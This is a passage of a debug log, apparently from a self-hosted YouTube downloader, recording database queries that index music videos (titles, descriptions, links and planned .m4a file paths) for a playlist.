https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Art: https://danbooru.donmai.us/posts/3119066\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Se237UXFKlQ?si=RqnOJxzlF60wUU5S\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#atouchofclass #aroundtheworld #eurobeat #remix #music", "AROUND THE WORLD (LALALALALA) // Eurobeat Remix - A Touch of Class", "dc53be1d-f928-41d8-986c-73788ce166c7", false, "THBMcUdzwqU", 206, false, "https://www.youtube.com/watch?v=THBMcUdzwqU", 32, "/downloads/Nightcore/Nightcore/2024-10-02AROUND THE WORLD (LALALALALA) ⧸⧸ Eurobeat Remix - A Touch of Class[THBMcUdzwqU].m4a", false, false, 1, [], 1, ~U[2024-10-02 12:28:50Z], ~U[2026-07-24 02:23:28Z], ~U[2026-07-24 02:23:28Z], "lalalalala\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Art: https://danbooru.donmai.us/posts/3119066\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Se237UXFKlQ?si=RqnOJxzlF60wUU5S\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#atouchofclass #aroundtheworld #eurobeat #remix #music", "AROUND THE WORLD (LALALALALA) // Eurobeat Remix - A Touch of Class", "THBMcUdzwqU", 206, false, "https://www.youtube.com/watch?v=THBMcUdzwqU", "/downloads/Nightcore/Nightcore/2024-10-02AROUND THE WORLD (LALALALALA) ⧸⧸ Eurobeat Remix - A Touch of Class[THBMcUdzwqU].m4a", false, 1, ~U[2024-10-02 12:28:50Z]] 22:23:29.115 [debug] QUERY OK source="sources" db=0.1ms idle=299.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:29.115 [debug] QUERY OK source="media_items" db=0.1ms idle=158.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-13 10:01:28Z], 1] 22:23:29.359 [debug] QUERY OK source="media_items" db=242.7ms idle=158.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nTelephone (feat. SixteenInMono) · The Oshi Bar · CottontailVA · Isaa Corva · SixteenInMono · CottontailVA\n\nTelephone (feat. SixteenInMono)\n\n℗ Oshi Records\n\nReleased on: 2025-02-14\n\nAuto-generated by YouTube.", "Telephone (feat. SixteenInMono)", "42f201d8-ace3-48f1-b9af-336a9717b46f", false, "G1b63yYNCvU", 200, false, "https://www.youtube.com/watch?v=G1b63yYNCvU", 33, "/downloads/Nightcore/Nightcore/2025-02-13Telephone (feat. SixteenInMono)[G1b63yYNCvU].m4a", false, false, 1, [], 1, ~U[2025-02-13 10:01:28Z], ~U[2026-07-24 02:23:29Z], ~U[2026-07-24 02:23:29Z], "Provided to YouTube by DistroKid\n\nTelephone (feat. SixteenInMono) · The Oshi Bar · CottontailVA · Isaa Corva · SixteenInMono · CottontailVA\n\nTelephone (feat. SixteenInMono)\n\n℗ Oshi Records\n\nReleased on: 2025-02-14\n\nAuto-generated by YouTube.", "Telephone (feat. SixteenInMono)", "G1b63yYNCvU", 200, false, "https://www.youtube.com/watch?v=G1b63yYNCvU", "/downloads/Nightcore/Nightcore/2025-02-13Telephone (feat. SixteenInMono)[G1b63yYNCvU].m4a", false, 1, ~U[2025-02-13 10:01:28Z]] 22:23:29.360 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=401.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:29.361 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=245.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-29 02:15:06Z], 1] 22:23:29.508 [debug] QUERY OK source="media_items" db=146.1ms idle=246.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Available on streaming services: https://distrokid.com/hyperfollow/mioricelesta1/fragile\n\nVocals, Vocal editing: Miori Celesta\nVocal mix: tsi \nInst: Edo Emp Studio \nIllustration: e武器\nLive2d: Eskageese\nMV + thumbnail: Aga\nOriginally by Tatsuro Yamashita", "Fragile - Tatsuro Yamashita / Miori Celesta", "495b99c7-d951-4761-b0f1-a1b221ef7ec8", false, "qNFBzyzqZdc", 334, false, "https://www.youtube.com/watch?v=qNFBzyzqZdc", 34, "/downloads/Nightcore/Nightcore/2025-03-29Fragile - Tatsuro Yamashita ⧸ Miori Celesta[qNFBzyzqZdc].m4a", false, false, 1, [], 1, ~U[2025-03-29 02:15:06Z], ~U[2026-07-24 02:23:29Z], ~U[2026-07-24 02:23:29Z], "Available on streaming services: https://distrokid.com/hyperfollow/mioricelesta1/fragile\n\nVocals, Vocal editing: Miori Celesta\nVocal mix: tsi \nInst: Edo Emp Studio \nIllustration: e武器\nLive2d: Eskageese\nMV + thumbnail: Aga\nOriginally by Tatsuro Yamashita", "Fragile - Tatsuro Yamashita / Miori Celesta", "qNFBzyzqZdc", 334, false, "https://www.youtube.com/watch?v=qNFBzyzqZdc", "/downloads/Nightcore/Nightcore/2025-03-29Fragile - Tatsuro Yamashita ⧸ Miori Celesta[qNFBzyzqZdc].m4a", false, 1, ~U[2025-03-29 02:15:06Z]] 22:23:29.509 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=392.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:29.510 [debug] QUERY OK source="media_items" db=0.4ms idle=150.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-03 11:30:06Z], 1] 22:23:29.658 [debug] QUERY OK source="media_items" db=147.4ms idle=150.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["僕だけ異常な訳じゃない。\n\n\nMusic:earmi\nX: https://x.com/earmi1095?s=11&t=jutdFpBrofGYQchweE7jig\n\nillustration:せかいせいは様\nX: https://x.com/sekaiseihasann?s=21&t=jutdFpBrofGYQchweE7jig\n\n\n\n#初音ミク #vocaloid #ボカロ", "⠀", "66ec16f9-e142-4617-8fd2-9e03bbdad679", false, "zCISRUzhS-c", 168, false, "https://www.youtube.com/watch?v=zCISRUzhS-c", 35, "/downloads/Nightcore/Nightcore/2026-07-03⠀[zCISRUzhS-c].m4a", false, false, 1, [], 1, ~U[2026-07-03 11:30:06Z], ~U[2026-07-24 02:23:29Z], ~U[2026-07-24 02:23:29Z], "僕だけ異常な訳じゃない。\n\n\nMusic:earmi\nX: https://x.com/earmi1095?s=11&t=jutdFpBrofGYQchweE7jig\n\nillustration:せかいせいは様\nX: https://x.com/sekaiseihasann?s=21&t=jutdFpBrofGYQchweE7jig\n\n\n\n#初音ミク #vocaloid #ボカロ", "⠀", "zCISRUzhS-c", 168, false, "https://www.youtube.com/watch?v=zCISRUzhS-c", "/downloads/Nightcore/Nightcore/2026-07-03⠀[zCISRUzhS-c].m4a", false, 1, ~U[2026-07-03 11:30:06Z]] 22:23:29.659 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=150.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:29.660 [debug] QUERY OK source="media_items" db=0.4ms idle=150.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 05:15:07Z], 1] 22:23:29.815 [debug] QUERY OK source="media_items" db=153.5ms idle=150.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["our chains will bind you here forever 🐾⛓️ \n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\nOriginal Song: hololive English Advent\nVocals: FUWAMOCO\nMix: はまひろ\nArt: Hyde\nMovie: オムカ\nOriginal: https://www.youtube.com/watch?v=YDyrIDHAdDY\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n\n#holoAdvent\n#hololiveEnglish\n---------------------------------------------\nCorrection:\nThe lyric \"Locked away where nightmares keep you awake\" were mistakenly sung \"Locked away when nightmares keep you awake\". We apologize for the mistake!\n---------------------------------------------\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n#FUWAMOCO (配信)\n#FWMCpix (絵)\n#helpFWMC (リクエスト/素材/Q&A用)\n#lilFWMC (切り抜き)\n#FWMCbeats (音楽)\n#FWMCwww (ミーム)\n#FWMCMORNING (バラエティ番組)\n\n≪TWITTER≫\nhttps://twitter.com/fuwamoco_en\n@FUWAMOCOch\n\n≪(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)≫\n\n♡ RULES ♡\n\n・Be nice to other viewers and treat everyone with respect! Let’s make a loving community! ♡\n・All forms of hate, discrimination, harassment, and trolling are not permitted. \n・Don’t bring up other channels or streams unless they are mentioned by FUWAMOCO. \n・No spoilers please, but feel free to give advice when asked! \n・Please limit comments unrelated to FUWAMOCO or spam so that we can read your comments!\n・Chat prior to the start of the stream is fine as long as it’s related to the stream. \n・Most importantly, have fun!! We need your smile to protect! BAU BAU!! 🐾\n\n≪(∪・ω・∪三∪・ω・∪)≫\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n≪(∪・ω・∪三∪・ω・∪)≫\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n≪(∪・ω・∪三∪・ω・∪)≫\n[Official Online Shop]\nhttps://shop.hololivepro.com/en\n[Holoschedule] (Check all members streaming schedules)\nhttps://schedule.hololive.tv/#hololive\n≪(∪・ω・∪三∪・ω・∪)≫\n[Hololive Production]\n・Hololive English YouTube Channel: https://t.co/LcYDgFF9V0?amp=1\n・Hololive Production Official Twitter: https://twitter.com/hololivetv\n・Hololive English Official Twitter: https://twitter.com/hololive_En\n・Hololive English Official Reddit: https://www.reddit.com/r/Hololive/", "【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】", "02a9df49-7406-4bc4-a625-9404ad71fa8f", false, "pR8SM92aC0U", 176, false, "https://www.youtube.com/watch?v=pR8SM92aC0U", 36, "/downloads/Nightcore/Nightcore/2025-10-31【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】[pR8SM92aC0U].m4a", false, false, 1, [], 1, ~U[2025-10-31 05:15:07Z], ~U[2026-07-24 02:23:29Z], ~U[2026-07-24 02:23:29Z], "our chains will bind you here forever 🐾⛓️ \n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\nOriginal Song: hololive English Advent\nVocals: FUWAMOCO\nMix: はまひろ\nArt: Hyde\nMovie: オムカ\nOriginal: https://www.youtube.com/watch?v=YDyrIDHAdDY\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n\n#holoAdvent\n#hololiveEnglish\n---------------------------------------------\nCorrection:\nThe lyric \"Locked away where nightmares keep you awake\" were mistakenly sung \"Locked away when nightmares keep you awake\". We apologize for the mistake!\n---------------------------------------------\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n#FUWAMOCO (配信)\n#FWMCpix (絵)\n#helpFWMC (リクエスト/素材/Q&A用)\n#lilFWMC (切り抜き)\n#FWMCbeats (音楽)\n#FWMCwww (ミーム)\n#FWMCMORNING (バラエティ番組)\n\n≪TWITTER≫\nhttps://twitter.com/fuwamoco_en\n@FUWAMOCOch\n\n≪(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)≫\n\n♡ RULES ♡\n\n・Be nice to other viewers and treat everyone with respect! Let’s make a loving community! ♡\n・All forms of hate, discrimination, harassment, and trolling are not permitted. \n・Don’t bring up other channels or streams unless they are mentioned by FUWAMOCO. \n・No spoilers please, but feel free to give advice when asked! \n・Please limit comments unrelated to FUWAMOCO or spam so that we can read your comments!\n・Chat prior to the start of the stream is fine as long as it’s related to the stream. \n・Most importantly, have fun!! We need your smile to protect! BAU BAU!! 🐾\n\n≪(∪・ω・∪三∪・ω・∪)≫\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n≪(∪・ω・∪三∪・ω・∪)≫\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n≪(∪・ω・∪三∪・ω・∪)≫\n[Official Online Shop]\nhttps://shop.hololivepro.com/en\n[Holoschedule] (Check all members streaming schedules)\nhttps://schedule.hololive.tv/#hololive\n≪(∪・ω・∪三∪・ω・∪)≫\n[Hololive Production]\n・Hololive English YouTube Channel: https://t.co/LcYDgFF9V0?amp=1\n・Hololive Production Official Twitter: https://twitter.com/hololivetv\n・Hololive English Official Twitter: https://twitter.com/hololive_En\n・Hololive English Official Reddit: https://www.reddit.com/r/Hololive/", "【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】", "pR8SM92aC0U", 176, false, "https://www.youtube.com/watch?v=pR8SM92aC0U", "/downloads/Nightcore/Nightcore/2025-10-31【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】[pR8SM92aC0U].m4a", false, 1, ~U[2025-10-31 05:15:07Z]] 22:23:29.815 [debug] QUERY OK source="sources" db=0.3ms idle=157.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:29.815 [debug] QUERY OK source="media_items" db=0.1ms idle=156.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 02:00:06Z], 1] 22:23:29.975 [debug] QUERY OK source="media_items" db=159.0ms idle=156.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "'DESCENT INTO MANIA' / GUMI SV2", "fc571546-1cc6-4d49-afa5-27d9df9fcdb5", false, "dwPvXW-uSIs", 246, false, "https://www.youtube.com/watch?v=dwPvXW-uSIs", 37, "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", false, false, 1, [], 2, ~U[2026-05-22 02:00:06Z], ~U[2026-07-24 02:23:29Z], ~U[2026-07-24 02:23:29Z], "#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "'DESCENT INTO MANIA' / GUMI SV2", "dwPvXW-uSIs", 246, false, "https://www.youtube.com/watch?v=dwPvXW-uSIs", "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", false, 1, ~U[2026-05-22 02:00:06Z]] 22:23:29.975 [debug] QUERY OK source="sources" db=0.1ms idle=313.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:29.976 [debug] QUERY OK source="media_items" db=0.1ms idle=161.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 21:22:29Z], 1] 22:23:30.113 [debug] QUERY OK source="media_items" db=136.8ms idle=160.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "We Don’t Talk Anymore (But it hits different)", "dab53f55-4513-44f2-b5b9-5eeff22aadbd", false, "iAH23TPVAjQ", 209, false, "https://www.youtube.com/watch?v=iAH23TPVAjQ", 38, "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", false, false, 1, [], 1, ~U[2026-07-17 21:22:29Z], ~U[2026-07-24 02:23:29Z], ~U[2026-07-24 02:23:29Z], "Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "We Don’t Talk Anymore (But it hits different)", "iAH23TPVAjQ", 209, false, "https://www.youtube.com/watch?v=iAH23TPVAjQ", "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", false, 1, ~U[2026-07-17 21:22:29Z]] 22:23:30.114 [debug] QUERY OK source="sources" db=0.2ms idle=298.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:30.114 [debug] QUERY OK source="media_items" db=0.1ms idle=139.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-28 00:00:06Z], 1] 22:23:30.238 [debug] QUERY OK source="media_items" db=123.0ms idle=139.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "【Original Song MV】Way 2 U - Ouro Kronii", "915c89fe-fd44-4338-b349-395f7e2da82c", false, "Kr2lbQwHQeY", 120, false, "https://www.youtube.com/watch?v=Kr2lbQwHQeY", 39, "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", false, false, 1, [], 1, ~U[2026-05-28 00:00:06Z], ~U[2026-07-24 02:23:30Z], ~U[2026-07-24 02:23:30Z], "I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before 